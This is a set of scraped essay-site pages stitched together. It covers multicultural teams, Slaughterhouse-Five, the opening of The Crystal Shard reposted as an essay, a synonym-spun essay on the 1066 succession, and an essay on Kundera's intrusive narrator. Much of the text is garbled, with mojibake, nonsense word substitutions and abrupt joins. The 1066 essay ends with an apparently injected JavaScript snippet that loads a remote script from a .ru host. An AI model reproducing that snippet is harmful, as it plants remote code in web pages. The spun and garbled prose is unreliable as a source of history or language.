Developing And Managing Multi Cultural Teams - 1331 Words

Developing and Managing Multi-Cultural Teams Jason LaVoie Argosy University Online Executive Summary Today’s workforce is ever more diverse in means of personal traits such as race, ethnicity, gender, national origin, religion, gender identification, and sexual orientation. Diversity research proposes that such diversity in the workplace will steer to lesser costs and/or greater revenues, enhancing the bottom line of an organization. A culture is defined as a group or society which imparts common beliefs and values. A cultural group is known by the way in which it acts. A person can adapt to different cultures simultaneously displaying different traits contingent on birthplace, family background, language, etc. (Axner, nd). Dimensions of a Multi-Cultural Team Diversity applies to the likenesses and dissimilarities between persons encompassing all aspects of one’s character and personal individuality. Every culture has its particular system of reasoning and its own values and beliefs (Carr-Rufino, 2016). The dimensions a person brings to the workforce are considered their internal and external dimensions. The internal dimensions include everything that make up the person what or who he or she is. And they include age, gender, sexual orientation, physical ability, race and ethnicity. The external dimensions are the individuals surrounding, these shape the individual into how or why he or she behave as they do (Carr-Rufino, 2016). The external dimensions of anShow MoreRelatedA Virtual Team Between Uber Drivers1018 Words   |  5 PagesAfter developing this report, I expect to learn more about the company itself, how efficient the company manage its operations. How the drivers are hired, it is all virtually? How the drivers communicate with other Uber drivers? I believe it has to be a virtual team between Uber drivers. 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Slaughterhouse Five, By Billy Pilgrim - 2024 Words

assumed that Billy Pilgrim relives his war-time experiences on a near daily basis. Another thing is that Billy avoids connections with people like his mother, and even his own fiancà ©. The conclusion of this analysis as a whole must therefore be that Billy Pilgrim became â€Å"unstuck† in time (in his own world) due to the events of which he witnessed and/or participated in during World War II. The horror of what was occurring around him, and due to the confusion he felt during the occurrence of these events, his entire mental state degraded to the point where he became locked in viewing the past over and over indefinitely, and into helping himself believe his delusion that he was often taken from the earth to another strange planet he felt†¦show more content†¦Furthermore, it may be concluded that Billy, due to the effects of having been a POW, and having been witness to the full magnitude of destruction of the city that had no reason to be destroyed, suffered from Post-Traumatic Stress Disorder, which lead him to review the events over and over during the course of his life in different forms and memories. In order to understand how these drastic factors, the destruction of the city Dresden and ‘PTSD’, came to make Billy Pilgrim â€Å"unstuck† in time, one must analyze and look over the circumstances surrounding those same events. He is clearly suffering from PTSD with the symptoms of flashbacks about the events he went through in his past, his relationships with people aren’t strong and seem forced, and he collides memories with reality. The human mind is a complicated part of the body which current-day science knows little about. Trigger mechanisms, and/or other factors within the brain are relatively unknown to current humanity with all of its complexions. Therefore, in order to produce a valid diagnostic on why Billy Pilgrim became â€Å"unstuck† in time (according to the first chapter), the reader of Slaughterhouse Five must come to copping with situations concerning the experiences he went through described in the novel. Billy starts out, chronologically, as a fairly basic infantryman as a part of the United States Army during the last Nazi offensive of the war (World

The Crystal Shard 1. The Stooge Free Essays

When the wizards’ caravan from the Hosttower of the Arcane saw the snow-capped peak of Kelvin’s Cairn rising from the flat horizon, they were more than a little relieved. The hard journey from Luskan to the remote frontier settlement known as Ten-Towns had taken them more than three weeks. The first week hadn’t been too difficult. We will write a custom essay sample on The Crystal Shard 1. The Stooge or any similar topic only for you Order Now The troop held close to the Sword Coast, and though they were traveling along the northernmost reaches of the Realms, the summer breezes blowing in off the Trackless Sea were comfortable enough. But when they rounded the westernmost spurs of the Spine of the World, the mountain range that many considered the northern boundary of civilization, and turned into Icewind Dale, the wizards quickly understood why they had been advised against making this journey. Icewind Dale, a thousand square miles of barren, broken tundra, had been described to them as one of the most unwelcoming lands in all the Realms, and within a single day of traveling on the northern side of the Spine of the World, Eldeluc, Dendybar the Mottled, and the other wizards from Luskan considered the reputation well-earned. Bordered by impassable mountains on the south, an expanding glacier on the east, and an unnavigable sea of countless icebergs on the north and east, Icewind Dale was attainable only through the pass between the Spine of the World and the coast, a trail rarely used by any but the most hardy of merchants. For the rest of their lives, two memories would ring clear in the wizards’ minds whenever they thought about this trip, two facts of life on Icewind Dale that travelers here never forgot. The first was the endless moaning of the wind, as though the land itself was continuously groaning in torment. And the second was the emptiness of the dale, mile after mile of gray and brown horizon lines. The caravan’s destination marked the only varying features in all the dale – ten small towns positioned around the three lakes of the region, under the shadow of the only mountain, Kelvin’s Cairn. Like everyone else who came to this harsh land, the wizards sought Ten-Towns’ scrimshaw, the fine ivory carvings made from the headbones of the knucklehead trout which swam in the waters of the lakes. Some of the wizards, though, had even more devious gains in mind. * * * The man marvelled at how easily the slender dagger slipped through the folds in the older man’s robe and then cut deeper into the wrinkled flesh. Morkai the Red turned on his apprentice, his eyes locked into a widened, amazed set at the betrayal by the man he had raised as his own son for a quarter of a century. Akar Kessell let go of the dagger and backed away from his master, horrified that the mortally wounded man was still standing. He ran out of distance for his retreat, stumbling into the rear wall of the small cabin the wizards of Luskan had been given as temporary quarters by the host city of Easthaven. Kessell trembled visibly, pondering the grizzly consequences he would face in light of the growing possibility that the magical expertise of the old mage had found a way to defeat even death itself. What terrible fate would his mighty mentor impose upon him for his betrayal? What magical torments could a true and powerful wizard such as Morkai conjure that would outdo the most agonizing of the tortures common throughout the land? The old man held his gaze firmly on Akar Kessell, even as the last light began to fade from his dying eyes. He didn’t ask why, he didn’t even outwardly question Kessell about the possible motives. The gain of power was involved somewhere; he knew – that was always the case in such betrayals. What confused him was the instrument, not the motive. Kessell? How could Kessell, the bumbling apprentice whose stuttering lips could barely call out the simplest of cantrips, possibly hope to profit from the death of the only man who had ever shown him more than basic, polite consideration? Morkai the Red fell dead. It was one of the few questions he had never found the answer to. Kessell remained against the wall, needing its tangible support, and continued to shake for long minutes. Gradually, the confidence that had put him in this dangerous position began to grow again within him. He was the boss now – Eldeluc, Dendybar the Mottled, and the other wizards who had made the trip had said so. With his master gone, he, Akar Kessell, would be rightfully awarded his own meditation chamber and alchemy lab in the Hosttower of the Arcane in Luskan. Eldeluc, Dendybar the Mottled, and the others had said so. * * * â€Å"It is done, then?† the burly man asked when Kessell entered the dark alley designated as the meeting place. Kessell nodded eagerly. â€Å"The red-robed wizard of Luskan shan’t cast again!† he proclaimed too loudly for the likes of his fellow conspirators. â€Å"Speak quietly, fool,† Dendybar the Mottled, a frail-looking man tucked defensively within the alleyway’s shadows demanded in the same monotonous voice that he always used. Dendybar rarely spoke at all and never displayed any semblance of passion when he did. Ever was he hidden beneath the low-pulled cowl of his robe. There was something coldblooded about Dendybar that unnerved most people who met him. Though the wizard was physically the smallest and least imposing man on the merchant caravan that had made the four-hundred mile journey to the frontier settlement of Ten-Towns, Kessell feared him more than any of the others. â€Å"Morkai the Red, my former master, is dead,† Kessell reiterated softly. â€Å"Akar Kessell, this day forward known as Kessell the Red, is now appointed to the Wizard’s Guild of Luskan!† â€Å"Easy, friend,† said Eldeluc, putting a comforting hand on Kessell’s nervously twitching shoulder. â€Å"There will be time for a proper coronation when we return to the city.† He smiled and winked at Dendybar from behind Kessell’s head. Kessell’s mind was whirling, lost in a daydream search through all of the ramifications of his pending appointment. Never again would he be taunted by the other apprentices, boys much younger than he who climbed through the ranks in the guild step by tedious step. They would show him some respect now, for he would leap beyond even those who had passed him by in the earliest days of his apprenticeship, into the honorable position of wizard. As his thoughts probed every detail of the coming days, though, Kessell’s radiant face suddenly grayed over. He turned sharply on the man at his side, his features tensed as though he had discovered a terrible error. Eldeluc and several of the others in the alley became uneasy. They all fully understood the consequences if the archmage of the Hosttower of the Arcane ever learned of their murderous deed. â€Å"The robe?† Kessell asked. â€Å"Should I have brought the red robe?† Eldeluc couldn’t contain his relieved chuckle, but Kessell merely took it as a comforting gesture from his new-found friend. I should have known that something so trivial would throw him into such a fit, Eldeluc told himself, but to Kessell he merely said, â€Å"Have no fear about it. There are plenty of robes in the Hosttower. It would seem a bit suspicious, would it not, if you showed up at the archmage’s doorstep claiming the vacated seat of Morkai the Red and holding the very garment that the murdered wizard was wearing when he was slain?† Kessell thought about it for a moment, then agreed. â€Å"Perhaps,† Eldeluc continued, â€Å"you should not wear the red robe.† Kessell’s eyes squinted in panic. His old self-doubts, which had haunted him for all of his days since his childhood, began to bubble up within him. What was Eldeluc saying? Were they going to change their minds and not award him the seat he had rightfully earned? Eldeluc had used the ambiguity of his statement as a tease, but he didn’t want to push Kessell into a dangerous state of doubt. With a second wink at Dendybar, who was inwardly thoroughly enjoying this game, he answered the poor wretch’s unspoken question. â€Å"I only meant that perhaps a different color would better suit you. Blue would compliment your eyes.† Kessell cackled in relief. â€Å"Perhaps,† he agreed, his fingers nervously twiddling. Dendybar suddenly grew tired of the farce. He motioned for his burly companion to be rid of the annoying little wretch. Eldeluc obediently led Kessell back down the alleyway. â€Å"Go on, now, back to the stables,† he instructed. â€Å"Tell the master there that the wizards shall be leaving for Luskan this very night.† â€Å"But what of the body?† Kessell asked. Eldeluc smiled evilly. â€Å"Leave it. That cabin is reserved for visiting merchants and dignitaries from the south. It will most probably remain vacant until next spring. Another murder in this part of the world will cause little excitement, I assure you, and even if the good people of Easthaven were to decipher what had truly happened, they are wise enough to tend to their own business and leave the affairs of wizards to wizards!† The group from Luskan moved out into the waning sunlight on the street. â€Å"Now be off!† Eldeluc commanded. â€Å"Look for us as the sun sets.† He watched as Kessell, like some elated little boy, scurried away. â€Å"How fortunate to find so convenient a tool,† Dendybar noted. â€Å"The wizard’s stupid apprentice saved us much trouble. I doubt that we would have found a way to get at that crafty old one. Though the gods alone know why, ever did Morkai have a soft spot for his wretched little apprentice!† â€Å"Soft enough for a dagger’s point!† laughed a second voice. â€Å"And so convenient a setting,† remarked yet another. â€Å"Unexplained bodies are considered no more than an inconvenience to the cleaning wenches in this uncivilized outpost!† The burly Eldeluc laughed aloud. The gruesome task was at last completed; they could finally leave this barren stretch of frozen desert and return home. * * * Kessell’s step was sprightly as he made his way across the village of Easthaven to the barn where the wizards’ horses had been stabled. He felt as though becoming a wizard would change every aspect of his daily life, as if some mystical strength had somehow been infused into his previously incompetent talents. He tingled in anticipation of the power that would be his. An alleycat crossed before him, casting him a wary glance as it pranced by. Slit-eyed, Kessell looked around to see if anyone was watching. â€Å"Why not?† he muttered. Pointing a deadly finger at the cat, he uttered the command words to call forth a burst of energy. The nervous feline bolted away at the spectacle, but no magical bolts struck it, or even near it. Kessell looked down at his singed fingertip and wondered what he had done wrong. But he wasn’t overly dismayed. His own blackened nail was the strongest effect he had ever gotten from that particular spell. How to cite The Crystal Shard 1. The Stooge, Essay examples

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# 8217 ; s To The English Throne Essay, Research Paper When Edward the Confessor was crowned in 1042 he was claimed to hold become celibate. This immediately brought up jobs of sequence to the throne. So, claims were made to it even before Edward was deceasing. The individual with likely the strongest claim to the throne was William the Bastard, as his coevalss knew him, today referred to as William the Conqueror or William Duke of Normandy. His first claim was after the fleeing of the Godwin # 180 ; s. The Godwin # 180 ; s fled England due to their dwindling military support after their inactivity and the test against Godwin, which he would surely lose. After their fleeing Robert de Jumieges claims Edward made William inheritor to the English Throne. The Following claim from Williams # 180 ; s cantonment for the throne was made on the bases of his household connexion with the male monarch. First his married woman was related to the King # 180 ; s of Wessex which Edward the Confessor was a member hence holding a familial right to the throne. Besides Edwards female parent, Emma, was a Norman and raised her boy in Normandy of which William the Conqueror is Duke. Another major household connexion is that William was really Edwards # 180 ; s cousin, and as Edward had no boy was one of his closest household links. In 1051, during the expatriate of the Godwin household, it is undoubted William came over from Normandy to see Edward in his tribunal in England. It is besides likely during this visit Edward made it clear to Duke William he was heir to the English throne. However it is thought this promise meant small to Edward and intend a batch more, or considered more of import, by the immature Norman Duke. The following claim is one of the most of import yet controversial made by Edward. It involves the visit of Harold. Edward surely sent Harold to France to see William but the grounds for this vary signifier beginning to beginning. Harmonizing to the Norman Chroniclers Harold was shipwrecked in Ponthieu and held by the local swayer, he was held to redeem until Duke William came to his assistance and managed to liberate him. After his release he campaigned in Brittany with William, during this clip it is alleged to hold put his custodies within William # 180 ; s, in the system of Feudalism this is a mark of accepting oneself to be the liege. Therefore Harold was accepting William as his higher-up. Harold besides swore on the ancient relics of Bayeux that he would be Williams # 180 ; s adult male and to assist him in his pursuit for the throne no affair what occurred. Therefore if and when Harold took the throne he was traveling against his curse, which made him false witness and a pr evaricator. The concluding two claims on which William claimed the English throne were based on faith. William realized that if he were to derive the throne by suppressing or being inheritor he would necessitate the support of the papal. This is because in that clip and under feudal system the church was required to win conflicts and was improbably powerful. Traveling back to my debut I mentioned when Edward was coroneted and asked to go celibate by St Peter, he was besides told by the Saint that God would set up an appropriate replacement to the throne. Now William has God on his side after deriving the support of the Pope via agencies of assuring land to the Papacy if he was successful and by the manner he had put the Catholic Pope under force per unit area by suppressing the environing land of the Vatican. The concluding point is related to faith as William announced that Archbishop Stigand who had been excommunicated by the Catholic Pope crowned Harold. Therefore Harold # 180 ; s Kingship was theoretically null as he had non been decently coroneted. However when sing all of Williams claims to the throne we must retrieve from which beginnings we gained the information from. We receive an improbably colored position of the period due to the fact the Normans won the twenty-four hours and they choose what were written in the histories of history. All of the beginnings are pure Norman Propaganda possibly warranting their invasion or accounting for their claims to the throne. / gt ; William the Bastard was non the lone rival to the throne of England. Harold Godwinson besides made a valid claim, based chiefly on the words of Edward the Confessor on his deathbed. It was recorded that under Edward # 180 ; s dyeing breath he named Harold as the inheritor to his throne. This was far more of import than when Edward named Duke William heir 11 old ages before his decease as, if both narratives are true, this was his concluding determination when it mattered the most. Though this is Harold Godwinson # 180 ; s merely direct claim to the throne there are other grounds why he felt he should hold been named inheritor to the throne. At the clip in inquiry and after he returned from expatriate Harold was the individual most powerful adult male in England on a par with the male monarch, he owned straight and indirectly most of the land in England. Feudalism is based on power and power in feudal England was land. So Harold was improbably powerful and if sequence to the throne were based on this he would surely be the figure one campaigner. Harold was besides made to be in male monarch, he had the natural features of a male monarch: # 8220 ; To a modern-day Harold appeared of all right build, a good captain and a brave soldier, greathearted and amiable, patient like all his household # 8230 ; # 8230 ; # 8230 ; a strong swayer of his earldom, and a austere lover of justice. # 8221 ; ( The Feudal Kingdom of England 1042-1216 Frank Barlow ) So from this facet it is clear he was bred for Kingship and was conceived as a ready replacement to Edward by the coevalss. This was farther shown by his actions during the early 1060 # 180 ; s. During this period he began constructing up a legendary position as a great warrior and a worthy leader of work forces, this was due to the troublesome Welsh who were continuingly stirring up problems in the Marches of England and Wales. These are the few lasting claims Harold had to the throne, nevertheless had more of the Anglo Chronicles remained after the Norman Conquest others may good hold been illustrated. After the deceases of Earl # 180 ; s Ralf and Leofric during the period of 1053 to 1057 it was reported in one of the few staying Anglo Chronicles that Edward began looking outside of England and Normandy for Possible inheritor to his throne, this brought up the name of Atheling. First Edward invited Edward Atheling boy of Edmond Ironside to come to England. Though Edward Atheling made it to England he died under leery fortunes before he could really run into the male monarch. After his decease his boy Edgar became another option for King Edward. However, he was still a immature male child at this clip approximately eight old ages old, besides during the clip were everyone was competing for the throne he could neer beat up any support for his instance from the earls, which he urgently needed. These three pe ople had the strongest claims to the throne nevertheless others besides put frontward their instance. Harold Hardrada made one such claim ; he was the King of Norway and felt he had a strong claim due to him being the boy of one of the Kings of Wessex. He was the descendent of King Cnut who had ruled over England and on this bases Hardrada felt he had a interest. Another claimant to the throne was Tostig. Tostig was the boy of Godwin and the brother of Harold Godwinson. He had different claims to the throne from his brother. Queen Emma, married woman of Edward the Confessor, had ever favored Tostig from the beginning and argued the instance for Tostig # 180 ; s enthronement from the clip Edward fell badly. As I have outlined there were many people trying for the throne of England. However if we were to contract the picks down to really possible claimants we would take William the Bastard and Harold, boy of Godwin. These two were truly the lone two in the race. We must besides bare in head had Harold gained the throne the sum of grounds he based his claim to the throne on would be greater so the sum there are and likewise the figure of Williams grounds would hold been reduced or degraded. This is because history is written by the victors non the also-rans, as Harold was in this instance. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The Intrusive Author in Milan Kunderas The Unbear Essay Example For Students

The Intrusive Author in Milan Kunderas The Unbear Essay The Intrusive Author in Milan Kunderas The Unbearable Lightness of BeingThe Intrusive Author in Milan Kunderas The Unbearable Lightness of BeingIn an interview he gave after the reprinting of one of his later novels, Milan Kundera said, most eloquently, that the stupidity of the world comes from having an answer for everything the wisdom of the novel comes from having a question for everything (qtd. in OBrien 4). This statement is one most indicative of the unique authorial style found in all of Kunderas works, particularly his most famous novel The Unbearable Lightness of Being. Unlike previous traditional, non-autobiographical novels, Kundera chooses to indirectly reveal himself as the narrator, who, while omniscient in the control of his characters, poses questions of deep philosophical interest that even he cannot answer. This method has become problematic, however, as many critics have wrongly proclaimed this technique to represent the authors hatred for the totalitarian regime under which his novel was written; in doing so, not only have they wrongly labeled Kundera a passionate defender of Western culture (Angyal 4), but they also have ignored the larger, philosophical issues that Kundera attempts to accomplish in the novel. While many of the themes in the novel undoubtedly reveal the totalitarian regime for what it is, it will be argued that the role of the intrusive author serves to create a sense of play and freedom of movement that digs deeper than history or politics to get to the heart of more important philosophical issues. We will write a custom essay on The Intrusive Author in Milan Kunderas The Unbear specifically for you for only $16.38 $13.9/page Order now An analysis of Kunderas structural functions and choices within The Unbearable Lightness of Being will provide a closer view of the openness, or play he strives for. One of the primary functions of Kundera as an intrusive narrator in the novel is to establish his characters as creations of his own mind. Whereas in traditional novels, the fictitious characters are assumed to be real in some imaginary world, Kundera almost immediately admits that it would be senseless for the author to try convince the reader that his characters once actually livedthey were born of a stimulating phrase or two from a basic situation (39). His characters were created in light of the authors contemplations. However, this does not automatically make the characters flat types, as some have argued. To the contrary, the authors admittance of the characters as fictional creations whom he has pondered very deeply lend them more depth and credibility than a character designed simply to serve a purpose. In other words, in this particular novel, the story does not create the characters, but the characters create the story. This enables Kundera a greater sense of structural openness and play, or freedom of movement, in the novel. According to Hana Pichova, a narrators directing function includes the use ofthe repeating prolepsis or advance notice, a narratological technique that fragments the narrative through temporal disorder (217). Kundera utilizes such a technique first and foremost in the relationship between Tomas and Tereza, for example: It may well be those few fortuities which set her love in motion and provided her with a source of energy she had not yet exhausted at the end of her days. Before coming to the end of the book, Kundera has already described Terezas undying love for Tomas as he sees it. According to Pichova, this technique serves to establish the author as omniscient director of the novel, enabling him to create a textual world over which he has power and control. However, as Pichova notes, Kunderas narrator is obviously not interested in the power of regulation on the thematic level. He subverts his potential power by revealing himself to the reader. When considered in the context of t otalitarian regimes, the act of revelation is one most destructive to its very goals. Through his frequent use of I and advanced notice of things to come, Pichova argues, Kundera has disowned the faceless gaze' of totalitarianism. However, as Kundera himself has said, a literary work that can not survive outside of a historical context has completely missed its target. According to John OBrien in his article Milan Kundera: Meaning, Play and the Role of the Author, the intrusive author figure in The Unbearable Lightness of Being is established less in terms as a literary rebellion against totalitarianism than for the purpose of advocating literary play that goes against the kitschy sameness that is characteristic of both East and West:Take out this intrusive dynamic, and the text is far less radical, because it is precisely this I that rips away the facade of verisimilitude, that questions the possibility of meaning, and that carries through a recognizable disgust for any system that refuses free play with codes whether political (Communist or Western), linguistic, or literary. (OBrien 4)Going back to Pichovas argument about advanced notice, then, it is more important to note the function of advanced notice as Kunderas way of eliminating the plot of suspense. By establishing Terezas love for Tomas as one that will not die by novels end, Kundera relinquishes the novel of any kind of suspense. This is also seen later in the novel when the only mention of Tomass and Terezas death comes in the form of a letter Sabina receives, followed by a chapter in which Tomas and Tereza are still alive. The elimination of suspense from the novel allows the reader to step back from the plot and engross him/herself, more importantly, in the overarching meanings and questions the author has posed. .u9f3a49cec75b13936cdfe2e0c8d92299 , .u9f3a49cec75b13936cdfe2e0c8d92299 .postImageUrl , .u9f3a49cec75b13936cdfe2e0c8d92299 .centered-text-area { min-height: 80px; position: relative; } .u9f3a49cec75b13936cdfe2e0c8d92299 , .u9f3a49cec75b13936cdfe2e0c8d92299:hover , .u9f3a49cec75b13936cdfe2e0c8d92299:visited , .u9f3a49cec75b13936cdfe2e0c8d92299:active { border:0!important; } .u9f3a49cec75b13936cdfe2e0c8d92299 .clearfix:after { content: ""; display: table; clear: both; } .u9f3a49cec75b13936cdfe2e0c8d92299 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u9f3a49cec75b13936cdfe2e0c8d92299:active , .u9f3a49cec75b13936cdfe2e0c8d92299:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u9f3a49cec75b13936cdfe2e0c8d92299 .centered-text-area { width: 100%; position: relative ; } .u9f3a49cec75b13936cdfe2e0c8d92299 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u9f3a49cec75b13936cdfe2e0c8d92299 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u9f3a49cec75b13936cdfe2e0c8d92299 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u9f3a49cec75b13936cdfe2e0c8d92299:hover .ctaButton { background-color: #34495E!important; } .u9f3a49cec75b13936cdfe2e0c8d92299 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u9f3a49cec75b13936cdfe2e0c8d92299 .u9f3a49cec75b13936cdfe2e0c8d92299-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u9f3a49cec75b13936cdfe2e0c8d92299:after { content: ""; display: block; clear: both; } READ: Photosynthesis EssayKunderas technique for asking questions is central to the books self-titled exploration of meaning, most notably in the question of lightness and weight. While, as Pichova notes, he indeed directs the text insofar as the events and characters are completely of his control, Kunderas posing of questions is never paired with a definite answer. For example, in the Second Chapter of the Part One, Lightness and Weight, Kundera poses many questions:We might find division into positive and negative poles childishly simple except for one difficulty: which one is positive, weight or lightness? Parmenides responded: lightness is positive, weight negative. Was he c orrect or not? That is the question. The only answer that Kundera provides is attributed to a source that is not himself, and furthermore, he questions the answer without showing favor to one side. This establishes the pursuit of meaning as a personal endeavor that the author cannot answer for anyone but himself, and the reader for him/herself alike. According to John OBrien, Kundera exploits this technique repeatedly to assert his aesthetics of ambiguitythey do not contribute to an understanding as much as they are inconclusive in comparably similar ways (7). This makes it notably harder for the reader to find answers. However, this is arguably the very goal for which Kundera has strived. The entire narrative of the novel is devoted to the characters struggles to find (or escape from) meaning in their lives. To make that meaning easily accessible to the reader would be to negate the entire exploration of the themes of lightness and weight. Just as the questions that the novel poses offer either many answers or none in The Unbearable Lightness of Being, so does the very nature of language itself. Kundera uses the intrusive author figure to attack the arbitrary nature of language, and give it meaning that applies to his own characters, particularly in the relationship between Franz and Sabina. Kundera describes Franz and Sabinas inability to understand each other on a deep, emotional level: if people meet when they are older, like Franz and Sabina, the musical compositions of their lives are more or less complete, and every motif, every object, every word means something different to each of them (89). The ironically lengthy Short Dictionary of Misunderstood Words underscores the clash of codes and cliches that is produced beneath the deceivingly smooth surface of language (OBrien 10). Kunderas intrusive voice strips language of any universal meaning and demonstrates the problematic relationship it creates between Franz and Sabina. Similarly, Kundera uses the intrusive author to deconstruct the language of gender roles outside the scope of totalitarian politics. While in the text Tereza (the woman) indeed sees herself as weak and Tomas (the man) as strong, as OBrien notes, pages before the end of the novel, she betrays the inadequacy of the signifiers weak and strong to explain the complexity of the apparently simple roles (12). Furthermore, it is the intrusive author figure who asks the reader to examine the situation more closely:We all have a tendency to consider strength the culprit and weak the innocent victim. But now Tereza realized that in her case, the opposite was true. Even her dreams, as if aware of the single weakness in a man otherwise strong, made a display of her suffering to him, thereby forcing him to retreat. Her weakness was aggressive and kept forcing him to capitulate until eventually he lost his strength and was transformed into the rabbit in her arms (310). The intrusive author deconstructs the meaning of weak and strong for the reader, not to show his control of the text but to discredit the arbitrary nature of language as he had previously done with A Short Dictionary of Misunderstood Words. Kundera reveals the true meaning of the words much in the same way of Sabinas art. The question still remains as to Kunderas overarching goal in writing The Unbearable Lightness of Being. When considering this, one should consider Kunderas spoken feelings on the value of written art: If you cannot view the art that comes to you from Prague, Budapest, or Warsaw in any other way than by means of this wretched political code, you murder it, no less brutally than the worst of the Stalinist dogmatists. And you are quite unable to hear its true voice. The importance of this art does not lie in the fact that it pillories this or that political regime but that, on the strength of social and human experience of a kind people here in the West cannot even im agine, it offers new testimony about mankind (qtd. in OBrien 6). .ub72f02e9575bd0b98e84b86f8226839c , .ub72f02e9575bd0b98e84b86f8226839c .postImageUrl , .ub72f02e9575bd0b98e84b86f8226839c .centered-text-area { min-height: 80px; position: relative; } .ub72f02e9575bd0b98e84b86f8226839c , .ub72f02e9575bd0b98e84b86f8226839c:hover , .ub72f02e9575bd0b98e84b86f8226839c:visited , .ub72f02e9575bd0b98e84b86f8226839c:active { border:0!important; } .ub72f02e9575bd0b98e84b86f8226839c .clearfix:after { content: ""; display: table; clear: both; } .ub72f02e9575bd0b98e84b86f8226839c { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .ub72f02e9575bd0b98e84b86f8226839c:active , .ub72f02e9575bd0b98e84b86f8226839c:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .ub72f02e9575bd0b98e84b86f8226839c .centered-text-area { width: 100%; position: relative ; } .ub72f02e9575bd0b98e84b86f8226839c .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .ub72f02e9575bd0b98e84b86f8226839c .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .ub72f02e9575bd0b98e84b86f8226839c .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .ub72f02e9575bd0b98e84b86f8226839c:hover .ctaButton { background-color: #34495E!important; } .ub72f02e9575bd0b98e84b86f8226839c .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .ub72f02e9575bd0b98e84b86f8226839c .ub72f02e9575bd0b98e84b86f8226839c-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .ub72f02e9575bd0b98e84b86f8226839c:after { content: ""; display: block; clear: both; } READ: Education and Richard Rodriguez EssayWhile certainly thrusting off the techniques of the Social Realist novel, this novel seeks to achieve greater ends than establishing the historical context of Communism and his stance against it. What then, is Kunderas true enemy? It brings to mind Sabinas statement, My enemy is kitsch, not Communism! It is arguable that this mantra embodies Kunderas overriding theme. A greater part of the novel is notably devoted to the discussion of kitsch. Most European credos, religious or political, state that the world is good and human existence positive: Kundera calls this categorical agreement with being. He points out that something like shit, however, has no place in any of these credos. Their aesthetic ideal is instead kitsch, which can be considered the absolute denial of shit.In other words, in order to present a consistent, idealized, and romantic view of the world, all of these credos erase what is uncomfortable to them, and in a sense become cliched to the point of entering collective memory. As Kundera describes,Kitsch causes two tears to flow in quick succession. They first tear says:How nice to see children running on the grass! The second tear says: HowNice to be moved, together with all mankind, by children running on thegrass!(251). Kitsch, then, is the foundation for brotherhood, eventually leading to the destruction of the individual. Just as nothing inappropriate or marring can be allowed in the aesthetic of kitsch, individuals cannot be allowed either. The Grand March, therefore, is based on people marching in step, screaming slogans together with one voice. Sabina points out that this ideal is actually much worse than any violent or imperfect totalitarian reality, and though it exists fundamentally in Communism, its existence is not limited to simply political spheres. As in the rest of the book, the intrusive author figure appears in the discussion of kitsch with the specific pronoun I, particularly, When I say totalitarian, what I mean is that everything that infringes on kitsch must be banished for lifein this light, we can regard the gulag as a septic tank used by totalitarian kitsch to dispose of its refuse (252). Here lies the very indicator of Kunderas overall message. By leaving totalitarian un-capitalized and pairing it with the word kitsch, Kundera has created an entirely different term altogether. Rather than describing some kind of government regime, totalitarian comes to simply embody the idea of kitsch. While kitsch is a characteristic of totalitarianism, more importantly, totalitarianism is a characteristic of kitsch, which, as Kundera points out, exists in the Western world as well as the East. While the setting of Kunderas novel against the backdrop of the Soviet occupation of Prague is not one that can or should be easily ignored, it is important to understand Kunderas purposes outside of this historical context. This is the fundamental purpose of the intrusive author figure in The Unbearable Lightness of Being: to strip the traditional novel of kitschy, political codes and grind beneath the surface to greater, more complicated questions of existence that, while unanswerable by the author, are more fruitful pursuits than historical or political messages. The philosophy can be summed up in Sabinas mantra, On the surface, the intelligible lie; underneath the surface, the unintelligible truth.Works CitedAngyal, Andrew. Review: The Unbearable Lightness of Being. MagillOnLiterature. EBSCOHost Research Databases. Online. Available: http://web22.epnet.com. 1-5. Kundera, Milan. The Unbearable Lightness of Being. New York: Harper and RowPublishers, Inc., 1984OBrien, John. Milan Kundera: Meaning, Play, and the Role of the Author. Studies in Contemporary Fiction. Fall 1992. Vol. 34, Issue 1. 1-20. Pichova, Hana. The Narrator in Milan Kunderas The Unbearable Lightness of Being. Slavic and East European Journal. 1992. Vol. 36, Issue 32. 217-226.

Calculating Number of Days - Mathematics

